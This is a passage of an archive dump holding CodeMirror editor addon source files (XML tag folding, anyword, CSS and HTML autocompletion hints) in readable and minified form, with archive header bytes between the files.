      var gt = iter.text.indexOf(">", iter.ch);
      if (gt == -1) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt + 1; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 &&
!/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }
  function toTagStart(iter) {
    for (;;) {
      var lt = iter.ch ? iter.text.lastIndexOf("<", iter.ch -
1) : -1;
      if (lt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, lt + 1)) { iter.ch = lt; continue; }
      xmlTagStart.lastIndex = lt;
      iter.ch = lt;
      var match = xmlTagStart.exec(iter.text);
      if (match && match.index == lt) return match;
    }
  }

  function toNextTag(iter) {
    for (;;) {
      xmlTagStart.lastIndex = iter.ch;
      var found = xmlTagStart.exec(iter.text);
      if (!found) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, found.index + 1)) { iter.ch = found.index + 1;
continue; }
      iter.ch = found.index + found[0].length;
      return found;
    }
  }
  function toPrevTag(iter) {
    for (;;) {
      var gt = iter.ch ? iter.text.lastIndexOf(">", iter.ch -
1) : -1;
      if (gt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 &&
!/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }

  function findMatchingClose(iter, tag) {
    var stack = [];
    for (;;) {
      var next = toNextTag(iter), end, startLine = iter.line, startCh =
iter.ch - (next ? next[0].length : 0);
      if (!next || !(end = toTagEnd(iter))) return;
      if (end == "selfClose") continue;
      if (next[1]) { // closing tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] ==
next[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == next[2])) return {
          tag: next[2],
          from: Pos(startLine, startCh),
          to: Pos(iter.line, iter.ch)
        };
      } else { // opening tag
        stack.push(next[2]);
      }
    }
  }
  function findMatchingOpen(iter, tag) {
    var stack = [];
    for (;;) {
      var prev = toPrevTag(iter);
      if (!prev) return;
      if (prev == "selfClose") { toTagStart(iter); continue; }
      var endLine = iter.line, endCh = iter.ch;
      var start = toTagStart(iter);
      if (!start) return;
      if (start[1]) { // closing tag
        stack.push(start[2]);
      } else { // opening tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] ==
start[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == start[2])) return {
          tag: start[2],
          from: Pos(iter.line, iter.ch),
          to: Pos(endLine, endCh)
        };
      }
    }
  }

  CodeMirror.registerHelper("fold", "xml", function(cm,
start) {
    var iter = new Iter(cm, start.line, 0);
    for (;;) {
      var openTag = toNextTag(iter)
      if (!openTag || iter.line != start.line) return
      var end = toTagEnd(iter)
      if (!end) return
      if (!openTag[1] && end != "selfClose") {
        var startPos = Pos(iter.line, iter.ch);
        var endPos = findMatchingClose(iter, openTag[2]);
        return endPos && cmp(endPos.from, startPos) > 0 ? {from:
startPos, to: endPos.from} : null
      }
    }
  });
  CodeMirror.findMatchingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    if (iter.text.indexOf(">") == -1 &&
iter.text.indexOf("<") == -1) return;
    var end = toTagEnd(iter), to = end && Pos(iter.line, iter.ch);
    var start = end && toTagStart(iter);
    if (!end || !start || cmp(iter, pos) > 0) return;
    var here = {from: Pos(iter.line, iter.ch), to: to, tag: start[2]};
    if (end == "selfClose") return {open: here, close: null, at:
"open"};

    if (start[1]) { // closing tag
      return {open: findMatchingOpen(iter, start[2]), close: here, at:
"close"};
    } else { // opening tag
      iter = new Iter(cm, to.line, to.ch, range);
      return {open: here, close: findMatchingClose(iter, start[2]), at:
"open"};
    }
  };

  CodeMirror.findEnclosingTag = function(cm, pos, range, tag) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    for (;;) {
      var open = findMatchingOpen(iter, tag);
      if (!open) break;
      var forward = new Iter(cm, pos.line, pos.ch, range);
      var close = findMatchingClose(forward, open.tag);
      if (close) return {open: open, close: close};
    }
  };

  // Used by addon/edit/closetag.js
  CodeMirror.scanForClosingTag = function(cm, pos, name, end) {
    var iter = new Iter(cm, pos.line, pos.ch, end ? {from: 0, to: end} :
null);
    return findMatchingClose(iter, name);
  };
});
PK6��[mߠ�^
^
%codemirror/addon/fold/xml-fold.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){return a.line-b.line||a.ch-b.ch}function
c(a,b,c,d){this.line=b,this.ch=c,this.cm=a,this.text=a.getLine(b),this.min=d?Math.max(d.from,a.firstLine()):a.firstLine(),this.max=d?Math.min(d.to-1,a.lastLine()):a.lastLine()}function
d(a,b){var c=a.cm.getTokenTypeAt(m(a.line,b));return
c&&/\btag\b/.test(c)}function e(a){if(!(a.line>=a.max))return
a.ch=0,a.text=a.cm.getLine(++a.line),!0}function
f(a){if(!(a.line<=a.min))return
a.text=a.cm.getLine(--a.line),a.ch=a.text.length,!0}function
g(a){for(;;){var
b=a.text.indexOf(">",a.ch);if(-1==b){if(e(a))continue;return}{if(d(a,b+1)){var
c=a.text.lastIndexOf("/",b),f=c>-1&&!/\S/.test(a.text.slice(c+1,b));return
a.ch=b+1,f?"selfClose":"regular"}a.ch=b+1}}}function
h(a){for(;;){var
b=a.ch?a.text.lastIndexOf("<",a.ch-1):-1;if(-1==b){if(f(a))continue;return}if(d(a,b+1)){o.lastIndex=b,a.ch=b;var
c=o.exec(a.text);if(c&&c.index==b)return c}else a.ch=b}}function
i(a){for(;;){o.lastIndex=a.ch;var
b=o.exec(a.text);if(!b){if(e(a))continue;return}{if(d(a,b.index+1))return
a.ch=b.index+b[0].length,b;a.ch=b.index+1}}}function j(a){for(;;){var
b=a.ch?a.text.lastIndexOf(">",a.ch-1):-1;if(-1==b){if(f(a))continue;return}{if(d(a,b+1)){var
c=a.text.lastIndexOf("/",b),e=c>-1&&!/\S/.test(a.text.slice(c+1,b));return
a.ch=b+1,e?"selfClose":"regular"}a.ch=b}}}function
k(a,b){for(var c=[];;){var
d,e=i(a),f=a.line,h=a.ch-(e?e[0].length:0);if(!e||!(d=g(a)))return;if("selfClose"!=d)if(e[1]){for(var
j=c.length-1;j>=0;--j)if(c[j]==e[2]){c.length=j;break}if(j<0&&(!b||b==e[2]))return{tag:e[2],from:m(f,h),to:m(a.line,a.ch)}}else
c.push(e[2])}}function l(a,b){for(var c=[];;){var
d=j(a);if(!d)return;if("selfClose"!=d){var
e=a.line,f=a.ch,g=h(a);if(!g)return;if(g[1])c.push(g[2]);else{for(var
i=c.length-1;i>=0;--i)if(c[i]==g[2]){c.length=i;break}if(i<0&&(!b||b==g[2]))return{tag:g[2],from:m(a.line,a.ch),to:m(e,f)}}}else
h(a)}}var
m=a.Pos,n="A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",o=new
RegExp("<(/?)(["+n+"][A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD-:.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*)","g");a.registerHelper("fold","xml",(function(a,d){for(var
e=new c(a,d.line,0);;){var f=i(e);if(!f||e.line!=d.line)return;var
h=g(e);if(!h)return;if(!f[1]&&"selfClose"!=h){var
j=m(e.line,e.ch),l=k(e,f[2]);return
l&&b(l.from,j)>0?{from:j,to:l.from}:null}}})),a.findMatchingTag=function(a,d,e){var
f=new
c(a,d.line,d.ch,e);if(-1!=f.text.indexOf(">")||-1!=f.text.indexOf("<")){var
i=g(f),j=i&&m(f.line,f.ch),n=i&&h(f);if(i&&n&&!(b(f,d)>0)){var
o={from:m(f.line,f.ch),to:j,tag:n[2]};return"selfClose"==i?{open:o,close:null,at:"open"}:n[1]?{open:l(f,n[2]),close:o,at:"close"}:(f=new
c(a,j.line,j.ch,e),{open:o,close:k(f,n[2]),at:"open"})}}},a.findEnclosingTag=function(a,b,d,e){for(var
f=new c(a,b.line,b.ch,d);;){var g=l(f,e);if(!g)break;var h=new
c(a,b.line,b.ch,d),i=k(h,g.tag);if(i)return{open:g,close:i}}},a.scanForClosingTag=function(a,b,d,e){return
k(new
c(a,b.line,b.ch,e?{from:0,to:e}:null),d)}}));PK6��[�B�g��%codemirror/addon/hint/anyword-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var WORD = /[\w$]+/, RANGE = 500;

  CodeMirror.registerHelper("hint", "anyword",
function(editor, options) {
    var word = options && options.word || WORD;
    var range = options && options.range || RANGE;
    var cur = editor.getCursor(), curLine = editor.getLine(cur.line);
    var end = cur.ch, start = end;
    while (start && word.test(curLine.charAt(start - 1))) --start;
    var curWord = start != end && curLine.slice(start, end);

    var list = options && options.list || [], seen = {};
    var re = new RegExp(word.source, "g");
    for (var dir = -1; dir <= 1; dir += 2) {
      var line = cur.line, endLine = Math.min(Math.max(line + dir * range,
editor.firstLine()), editor.lastLine()) + dir;
      for (; line != endLine; line += dir) {
        var text = editor.getLine(line), m;
        while (m = re.exec(text)) {
          if (line == cur.line && m[0] === curWord) continue;
          if ((!curWord || m[0].lastIndexOf(curWord, 0) == 0) &&
!Object.prototype.hasOwnProperty.call(seen, m[0])) {
            seen[m[0]] = true;
            list.push(m[0]);
          }
        }
      }
    }
    return {list: list, from: CodeMirror.Pos(cur.line, start), to:
CodeMirror.Pos(cur.line, end)};
  });
});
PK6��[3.��)codemirror/addon/hint/anyword-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";var
b=/[\w$]+/;a.registerHelper("hint","anyword",(function(c,d){for(var
e=d&&d.word||b,f=d&&d.range||500,g=c.getCursor(),h=c.getLine(g.line),i=g.ch,j=i;j&&e.test(h.charAt(j-1));)--j;for(var
k=j!=i&&h.slice(j,i),l=d&&d.list||[],m={},n=new
RegExp(e.source,"g"),o=-1;o<=1;o+=2)for(var
p=g.line,q=Math.min(Math.max(p+o*f,c.firstLine()),c.lastLine())+o;p!=q;p+=o)for(var
r,s=c.getLine(p);r=n.exec(s);)p==g.line&&r[0]===k||k&&0!=r[0].lastIndexOf(k,0)||Object.prototype.hasOwnProperty.call(m,r[0])||(m[r[0]]=!0,l.push(r[0]));return{list:l,from:a.Pos(g.line,j),to:a.Pos(g.line,i)}}))}));PK6��[&�S

!codemirror/addon/hint/css-hint.jsnu�[���// CodeMirror,
copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../mode/css/css"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../mode/css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var pseudoClasses = {"active":1, "after":1,
"before":1, "checked":1, "default":1,
    "disabled":1, "empty":1, "enabled":1,
"first-child":1, "first-letter":1,
    "first-line":1, "first-of-type":1,
"focus":1, "hover":1, "in-range":1,
    "indeterminate":1, "invalid":1, "lang":1,
"last-child":1, "last-of-type":1,
    "link":1, "not":1, "nth-child":1,
"nth-last-child":1, "nth-last-of-type":1,
    "nth-of-type":1, "only-of-type":1,
"only-child":1, "optional":1,
"out-of-range":1,
    "placeholder":1, "read-only":1,
"read-write":1, "required":1, "root":1,
    "selection":1, "target":1, "valid":1,
"visited":1
  };

  CodeMirror.registerHelper("hint", "css", function(cm)
{
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "css") return;

    if (token.type == "keyword" &&
"!important".indexOf(token.string) == 0)
      return {list: ["!important"], from:
CodeMirror.Pos(cur.line, token.start),
              to: CodeMirror.Pos(cur.line, token.end)};

    var start = token.start, end = cur.ch, word = token.string.slice(0, end
- start);
    if (/[^\w$_-]/.test(word)) {
      word = ""; start = end = cur.ch;
    }

    var spec = CodeMirror.resolveMode("text/css");

    var result = [];
    function add(keywords) {
      for (var name in keywords)
        if (!word || name.lastIndexOf(word, 0) == 0)
          result.push(name);
    }

    var st = inner.state.state;
    if (st == "pseudo" || token.type == "variable-3") {
      add(pseudoClasses);
    } else if (st == "block" || st == "maybeprop") {
      add(spec.propertyKeywords);
    } else if (st == "prop" || st == "parens" || st ==
"at" || st == "params") {
      add(spec.valueKeywords);
      add(spec.colorKeywords);
    } else if (st == "media" || st == "media_parens") {
      add(spec.mediaTypes);
      add(spec.mediaFeatures);
    }

    if (result.length) return {
      list: result,
      from: CodeMirror.Pos(cur.line, start),
      to: CodeMirror.Pos(cur.line, end)
    };
  });
});
PK6��[Y��1%codemirror/addon/hint/css-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../mode/css/css")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../mode/css/css"],a):a(CodeMirror)})((function(a){"use
strict";var
b={active:1,after:1,before:1,checked:1,default:1,disabled:1,empty:1,enabled:1,"first-child":1,"first-letter":1,"first-line":1,"first-of-type":1,focus:1,hover:1,"in-range":1,indeterminate:1,invalid:1,lang:1,"last-child":1,"last-of-type":1,link:1,not:1,"nth-child":1,"nth-last-child":1,"nth-last-of-type":1,"nth-of-type":1,"only-of-type":1,"only-child":1,optional:1,"out-of-range":1,placeholder:1,"read-only":1,"read-write":1,required:1,root:1,selection:1,target:1,valid:1,visited:1};a.registerHelper("hint","css",(function(c){function
d(a){for(var b in a)j&&0!=b.lastIndexOf(j,0)||l.push(b)}var
e=c.getCursor(),f=c.getTokenAt(e),g=a.innerMode(c.getMode(),f.state);if("css"==g.mode.name){if("keyword"==f.type&&0=="!important".indexOf(f.string))return{list:["!important"],from:a.Pos(e.line,f.start),to:a.Pos(e.line,f.end)};var
h=f.start,i=e.ch,j=f.string.slice(0,i-h);/[^\w$_-]/.test(j)&&(j="",h=i=e.ch);var
k=a.resolveMode("text/css"),l=[],m=g.state.state;return"pseudo"==m||"variable-3"==f.type?d(b):"block"==m||"maybeprop"==m?d(k.propertyKeywords):"prop"==m||"parens"==m||"at"==m||"params"==m?(d(k.valueKeywords),d(k.colorKeywords)):"media"!=m&&"media_parens"!=m||(d(k.mediaTypes),d(k.mediaFeatures)),l.length?{list:l,from:a.Pos(e.line,h),to:a.Pos(e.line,i)}:void
0}}))}));PK6��[R#�$�,�,"codemirror/addon/hint/html-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./xml-hint"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./xml-hint"],
mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var langs = "ab aa af ak sq am ar an hy as av ae ay az bm ba eu be
bn bh bi bs br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et
ee fo fj fi fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik
io is it iu ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln
lo lt lu lv gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc
oj cu om or os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn
si sk sl so st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty
ug uk ur uz ve vi vo wa cy wo fy xh yi yo za zu".split(" ");
  var targets = ["_blank", "_self", "_top",
"_parent"];
  var charsets = ["ascii", "utf-8", "utf-16",
"latin1", "latin1"];
  var methods = ["get", "post", "put",
"delete"];
  var encs = ["application/x-www-form-urlencoded",
"multipart/form-data", "text/plain"];
  var media = ["all", "screen", "print",
"embossed", "braille", "handheld",
"print", "projection", "screen",
"tty", "tv", "speech",
               "3d-glasses", "resolution [>][<][=]
[X]", "device-aspect-ratio: X/Y",
"orientation:portrait",
               "orientation:landscape", "device-height:
[X]", "device-width: [X]"];
  var s = { attrs: {} }; // Simple tag, reused for a whole lot of tags

  var data = {
    a: {
      attrs: {
        href: null, ping: null, type: null,
        media: media,
        target: targets,
        hreflang: langs
      }
    },
    abbr: s,
    acronym: s,
    address: s,
    applet: s,
    area: {
      attrs: {
        alt: null, coords: null, href: null, target: null, ping: null,
        media: media, hreflang: langs, type: null,
        shape: ["default", "rect", "circle",
"poly"]
      }
    },
    article: s,
    aside: s,
    audio: {
      attrs: {
        src: null, mediagroup: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["none", "metadata",
"auto"],
        autoplay: ["", "autoplay"],
        loop: ["", "loop"],
        controls: ["", "controls"]
      }
    },
    b: s,
    base: { attrs: { href: null, target: targets } },
    basefont: s,
    bdi: s,
    bdo: s,
    big: s,
    blockquote: { attrs: { cite: null } },
    body: s,
    br: s,
    button: {
      attrs: {
        form: null, formaction: null, name: null, value: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "autofocus"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        type: ["submit", "reset", "button"]
      }
    },
    canvas: { attrs: { width: null, height: null } },
    caption: s,
    center: s,
    cite: s,
    code: s,
    col: { attrs: { span: null } },
    colgroup: { attrs: { span: null } },
    command: {
      attrs: {
        type: ["command", "checkbox",
"radio"],
        label: null, icon: null, radiogroup: null, command: null, title:
null,
        disabled: ["", "disabled"],
        checked: ["", "checked"]
      }
    },
    data: { attrs: { value: null } },
    datagrid: { attrs: { disabled: ["", "disabled"],
multiple: ["", "multiple"] } },
    datalist: { attrs: { data: null } },
    dd: s,
    del: { attrs: { cite: null, datetime: null } },
    details: { attrs: { open: ["", "open"] } },
    dfn: s,
    dir: s,
    div: s,
    dl: s,
    dt: s,
    em: s,
    embed: { attrs: { src: null, type: null, width: null, height: null } },
    eventsource: { attrs: { src: null } },
    fieldset: { attrs: { disabled: ["", "disabled"],
form: null, name: null } },
    figcaption: s,
    figure: s,
    font: s,
    footer: s,
    form: {
      attrs: {
        action: null, name: null,
        "accept-charset": charsets,
        autocomplete: ["on", "off"],
        enctype: encs,
        method: methods,
        novalidate: ["", "novalidate"],
        target: targets
      }
    },
    frame: s,
    frameset: s,
    h1: s, h2: s, h3: s, h4: s, h5: s, h6: s,
    head: {
      attrs: {},
      children: ["title", "base", "link",
"style", "meta", "script",
"noscript", "command"]
    },
    header: s,
    hgroup: s,
    hr: s,
    html: {
      attrs: { manifest: null },
      children: ["head", "body"]
    },
    i: s,
    iframe: {
      attrs: {
        src: null, srcdoc: null, name: null, width: null, height: null,
        sandbox: ["allow-top-navigation",
"allow-same-origin", "allow-forms",
"allow-scripts"],
        seamless: ["", "seamless"]
      }
    },
    img: {
      attrs: {
        alt: null, src: null, ismap: null, usemap: null, width: null,
height: null,
        crossorigin: ["anonymous", "use-credentials"]
      }
    },
    input: {
      attrs: {
        alt: null, dirname: null, form: null, formaction: null,
        height: null, list: null, max: null, maxlength: null, min: null,
        name: null, pattern: null, placeholder: null, size: null, src:
null,
        step: null, value: null, width: null,
        accept: ["audio/*", "video/*",
"image/*"],
        autocomplete: ["on", "off"],
        autofocus: ["", "autofocus"],
        checked: ["", "checked"],
        disabled: ["", "disabled"],
        formenctype: encs,
        formmethod: methods,
        formnovalidate: ["", "novalidate"],
        formtarget: targets,
        multiple: ["", "multiple"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        type: ["hidden", "text", "search",
"tel", "url", "email", "password",
"datetime", "date", "month",
               "week", "time",
"datetime-local", "number", "range",
"color", "checkbox", "radio",
               "file", "submit", "image",
"reset", "button"]
      }
    },
    ins: { attrs: { cite: null, datetime: null } },
    kbd: s,
    keygen: {
      attrs: {
        challenge: null, form: null, name: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        keytype: ["RSA"]
      }
    },
    label: { attrs: { "for": null, form: null } },
    legend: s,
    li: { attrs: { value: null } },
    link: {
      attrs: {
        href: null, type: null,
        hreflang: langs,
        media: media,
        sizes: ["all", "16x16", "16x16
32x32", "16x16 32x32 64x64"]
      }
    },
    map: { attrs: { name: null } },
    mark: s,
    menu: { attrs: { label: null, type: ["list",
"context", "toolbar"] } },
    meta: {
      attrs: {
        content: null,
        charset: charsets,
        name: ["viewport", "application-name",
"author", "description", "generator",
"keywords"],
        "http-equiv": ["content-language",
"content-type", "default-style", "refresh"]
      }
    },
    meter: { attrs: { value: null, min: null, low: null, high: null, max:
null, optimum: null } },
    nav: s,
    noframes: s,
    noscript: s,
    object: {
      attrs: {
        data: null, type: null, name: null, usemap: null, form: null,
width: null, height: null,
        typemustmatch: ["", "typemustmatch"]
      }
    },
    ol: { attrs: { reversed: ["", "reversed"], start:
null, type: ["1", "a", "A", "i",
"I"] } },
    optgroup: { attrs: { disabled: ["", "disabled"],
label: null } },
    option: { attrs: { disabled: ["", "disabled"],
label: null, selected: ["", "selected"], value: null }
},
    output: { attrs: { "for": null, form: null, name: null } },
    p: s,
    param: { attrs: { name: null, value: null } },
    pre: s,
    progress: { attrs: { value: null, max: null } },
    q: { attrs: { cite: null } },
    rp: s,
    rt: s,
    ruby: s,
    s: s,
    samp: s,
    script: {
      attrs: {
        type: ["text/javascript"],
        src: null,
        async: ["", "async"],
        defer: ["", "defer"],
        charset: charsets
      }
    },
    section: s,
    select: {
      attrs: {
        form: null, name: null, size: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        multiple: ["", "multiple"]
      }
    },
    small: s,
    source: { attrs: { src: null, type: null, media: null } },
    span: s,
    strike: s,
    strong: s,
    style: {
      attrs: {
        type: ["text/css"],
        media: media,
        scoped: null
      }
    },
    sub: s,
    summary: s,
    sup: s,
    table: s,
    tbody: s,
    td: { attrs: { colspan: null, rowspan: null, headers: null } },
    textarea: {
      attrs: {
        dirname: null, form: null, maxlength: null, name: null,
placeholder: null,
        rows: null, cols: null,
        autofocus: ["", "autofocus"],
        disabled: ["", "disabled"],
        readonly: ["", "readonly"],
        required: ["", "required"],
        wrap: ["soft", "hard"]
      }
    },
    tfoot: s,
    th: { attrs: { colspan: null, rowspan: null, headers: null, scope:
["row", "col", "rowgroup",
"colgroup"] } },
    thead: s,
    time: { attrs: { datetime: null } },
    title: s,
    tr: s,
    track: {
      attrs: {
        src: null, label: null, "default": null,
        kind: ["subtitles", "captions",
"descriptions", "chapters", "metadata"],
        srclang: langs
      }
    },
    tt: s,
    u: s,
    ul: s,
    "var": s,
    video: {
      attrs: {
        src: null, poster: null, width: null, height: null,
        crossorigin: ["anonymous", "use-credentials"],
        preload: ["auto", "metadata",
"none"],
        autoplay: ["", "autoplay"],
        mediagroup: ["movie"],
        muted: ["", "muted"],
        controls: ["", "controls"]
      }
    },
    wbr: s
  };

  var globalAttrs = {
    accesskey: ["a", "b", "c", "d",
"e", "f", "g", "h", "i",
"j", "k", "l", "m", "n",
"o", "p", "q", "r", "s",
"t", "u", "v", "w", "x",
"y", "z", "0", "1", "2",
"3", "4", "5", "6", "7",
"8", "9"],
    "class": null,
    contenteditable: ["true", "false"],
    contextmenu: null,
    dir: ["ltr", "rtl", "auto"],
    draggable: ["true", "false", "auto"],
    dropzone: ["copy", "move", "link",
"string:", "file:"],
    hidden: ["hidden"],
    id: null,
    inert: ["inert"],
    itemid: null,
    itemprop: null,
    itemref: null,
    itemscope: ["itemscope"],
    itemtype: null,
    lang: ["en", "es"],
    spellcheck: ["true", "false"],
    autocorrect: ["true", "false"],
    autocapitalize: ["true", "false"],
    style: null,
    tabindex: ["1", "2", "3", "4",
"5", "6", "7", "8", "9"],
    title: null,
    translate: ["yes", "no"],
    onclick: null,
    rel: ["stylesheet", "alternate",
"author", "bookmark", "help",
"license", "next", "nofollow",
"noreferrer", "prefetch", "prev",
"search", "tag"]
  };
  function populate(obj) {
    for (var attr in globalAttrs) if (globalAttrs.hasOwnProperty(attr))
      obj.attrs[attr] = globalAttrs[attr];
  }

  populate(s);
  for (var tag in data) if (data.hasOwnProperty(tag) && data[tag]
!= s)
    populate(data[tag]);

  CodeMirror.htmlSchema = data;
  function htmlHint(cm, options) {
    var local = {schemaInfo: data};
    if (options) for (var opt in options) local[opt] = options[opt];
    return CodeMirror.hint.xml(cm, local);
  }
  CodeMirror.registerHelper("hint", "html", htmlHint);
});
PK6��[v��+&codemirror/addon/hint/html-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("./xml-hint")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","./xml-hint"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b in
l)l.hasOwnProperty(b)&&(a.attrs[b]=l[b])}function c(b,c){var
d={schemaInfo:k};if(c)for(var e in c)d[e]=c[e];return a.hint.xml(b,d)}var
d="ab aa af ak sq am ar an hy as av ae ay az bm ba eu be bn bh bi bs
br bg my ca ch ce ny zh cv kw co cr hr cs da dv nl dz en eo et ee fo fj fi
fr ff gl ka de el gn gu ht ha he hz hi ho hu ia id ie ga ig ik io is it iu
ja jv kl kn kr ks kk km ki rw ky kv kg ko ku kj la lb lg li ln lo lt lu lv
gv mk mg ms ml mt mi mr mh mn na nv nb nd ne ng nn no ii nr oc oj cu om or
os pa pi fa pl ps pt qu rm rn ro ru sa sc sd se sm sg sr gd sn si sk sl so
st es su sw ss sv ta te tg th ti bo tk tl tn to tr ts tt tw ty ug uk ur uz
ve vi vo wa cy wo fy xh yi yo za zu".split("
"),e=["_blank","_self","_top","_parent"],f=["ascii","utf-8","utf-16","latin1","latin1"],g=["get","post","put","delete"],h=["application/x-www-form-urlencoded","multipart/form-data","text/plain"],i=["all","screen","print","embossed","braille","handheld","print","projection","screen","tty","tv","speech","3d-glasses","resolution
[>][<][=] [X]","device-aspect-ratio:
X/Y","orientation:portrait","orientation:landscape","device-height:
[X]","device-width:
[X]"],j={attrs:{}},k={a:{attrs:{href:null,ping:null,type:null,media:i,target:e,hreflang:d}},abbr:j,acronym:j,address:j,applet:j,area:{attrs:{alt:null,coords:null,href:null,target:null,ping:null,media:i,hreflang:d,type:null,shape:["default","rect","circle","poly"]}},article:j,aside:j,audio:{attrs:{src:null,mediagroup:null,crossorigin:["anonymous","use-credentials"],preload:["none","metadata","auto"],autoplay:["","autoplay"],loop:["","loop"],controls:["","controls"]}},b:j,base:{attrs:{href:null,target:e}},basefont:j,bdi:j,bdo:j,big:j,blockquote:{attrs:{cite:null}},body:j,br:j,button:{attrs:{form:null,formaction:null,name:null,value:null,autofocus:["","autofocus"],disabled:["","autofocus"],formenctype:h,formmethod:g,formnovalidate:["","novalidate"],formtarget:e,type:["submit","reset","button"]}},canvas:{attrs:{width:null,height:null}},caption:j,center:j,cite:j,code:j,col:{attrs:{span:null}},colgroup:{attrs:{span:null}},command:{attrs:{type:["command","checkbox","radio"],label:null,icon:null,radiogroup:null,command:null,title:null,disabled:["","disabled"],checked:["","checked"]}},data:{attrs:{value:null}},datagrid:{attrs:{disabled:["","disabled"],multiple:["","multiple"]}},datalist:{attrs:{data:null}},dd:j,del:{attrs:{cite:null,datetime:null}},details:{attrs:{open:["","open"]}},dfn:j,dir:j,div:j,dl:j,dt:j,em:j,embed:{attrs:{src:null,type:null,width:null,height:null}},eventsource:{attrs:{src:null}},fieldset:{attrs:{disabled:["","disabled"],form:null,name:null}},figcaption:j,figure:j,font:j,footer:j,form:{attrs:{action:null,name:null,"accept-charset":f,autocomplete:["on","off"],enctype:h,method:g,novalidate:["","novalidate"],target:e}},frame:j,frameset:j,h1:j,h2:j,h3:j,h4:j,h5:j,h6:j,head:{attrs:{},children:["title","base","link","style","meta","script","noscript","command"]},header:j,hgroup:j,hr:j,html:{attrs:{manifest:null},children:["head","body"]},i:j,iframe:{attrs:{src:null,srcdoc:null,name:null,width:null,height:null,sandbox:["allow-top-navigation","allow-same-origin","allow-forms","allow-scripts"],seamless:["","seamless"]}},img:{attrs:{alt:null,src:null,ismap:null,usemap:null,width:null,height:null,crossorigin:["anonymous","use-credentials"]}},input:{attrs:{alt:null,dirname:null,form:null,formaction:null,height:null,list:null,max:null,maxlength:null,min:null,name:null,pattern:null,placeholder:null,size:null,src:null,step:null,value:null,width:null,accept:["audio/*","video/*","image/*"],autocomplete:["on","off"],autofocus:["","autofocus"],checked:["","checked"],disabled:["","disabled"],formenctype:h,formmethod:g,formnovalidate:["","novalidate"],formtarget:e,multiple:["","multipl